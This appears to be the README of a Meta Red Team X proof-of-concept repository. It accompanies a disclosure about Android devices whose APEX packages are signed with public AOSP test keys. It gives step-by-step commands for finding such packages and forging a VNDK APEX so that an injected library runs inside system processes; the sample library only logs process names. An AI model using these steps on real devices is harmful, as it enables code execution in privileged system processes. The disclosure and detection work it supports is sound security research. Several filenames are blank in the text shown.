**This repository is provided AS IS to accompany [a Meta Red Team X
vulnerability disclosure][blog]. It is not an official Meta project and will
not be supported like one.**

A set of scripts and artifacts that demonstrate detection and exploitation of
Android devices that ship [APEXes][apex] signed with test keys from AOSP. See
our blog post "[Missing signs: how several brands forgot to secure a key piece
of Android][blog]" for full details of the issue.


## Files

- **`apex-checker/`**: A set of Bash scripts to save digests of known test keys
  and check APEXes en masse for signatures from those keys.
- **`apex-forger/`**: Lightweight wrappers around AOSP's `apexer` and
  `deapexer` tools that make it easy to unpack, modify, and repack an APEX.
  Like [apktool][apktool] for APEXes.
- **`vndk-libt/`**: Source code for a library we added to a vulnerable APEX to
  prove we can get code execution. All it does is print the command line of
  each process that loads it to logcat.


## Running the exploit

1. Clone a recent AOSP source tree (Android 13-ish), [envsetup+lunch][aosp-env],
   and run `m apexer deapexer apksigner` to build the needed tools.
2. Update `` (the one here, not the one in AOSP) to point `$AOSP`
   and `$ANDROID_HOST_OUT` to the appropriate places.
3. Obtain any Android device. Update it and enable ADB.
4. Run `adb shell getprop` and `adb shell getprop ro.vndk.version`.
5. If the two match, `adb pull /system/apex/ vndk.apex`.
   If not, `adb pull /system_ext/apex/<NN>.apex vndk.apex`,
   where `<NN>` is `ro.vndk.version`.
6. Check if the APEX is vulnerable with `apex-checker/ vndk.apex`. If
   the output doesn't start with "OI" (indicating both the outer and the inner
   signatures are from test keys), this PoC cannot be used (although that does
   not guarantee the device is secure, as other APEXes may still be vulnerable).
7. Unpack the APEX with `apex-forger/ vndk.apex vndk`.
8. Try patching `` in the extracted APEX to load our injected
   ``: `git apply --directory=vndk vndk-libt/libutils-v31.patch`. If
   that doesn't work (e.g. different VNDK version), use a hex editor to
   manually change `` to `` in the appropriate `DT_NEEDED` of
9. Build `` by running `ndk-build` inside `vndk-libt/`. Copy
   `vndk-libt/libs/arm64-v8a/` to `vndk/payload/lib64/`.
10. Extract `canned_fs_config` from `apex_build_info.bp`. There's no tool to do
    this easily: the closest is `protoc --decode_raw <vndk/apex_build_info.bp`
    followed by manually unescaping field #3. Place `canned_fs_config` in
11. Add a line to `canned_fs_config`, like all the others, for `/lib64/`.
12. Download the test keys for the appropriate VNDK version from [here][keys].
13. Repack the APEX with `apex-forger/ vndk<NN>.{pem,pubkey,pk8,x509.pem}`.
14. Run `adb install vndk/forged.apex`.
15. Run `adb reboot && adb logcat -s RTXPoC:D`.
16. Observe numerous `RTXPoC` log messages, each from a process we can execute
    code in.


## Test keys known to apex-checker

The hashes in `apex-checker/apk-keys.txt` and `apex-checker/avb-keys.txt`
correspond to the outer and inner test keys for the following APEXes. Note that
there are also `-goog` variants of those two lists, which were created by
Google after our initial report. Those lists are in general more complete, but
we do not know exactly which keys they contain.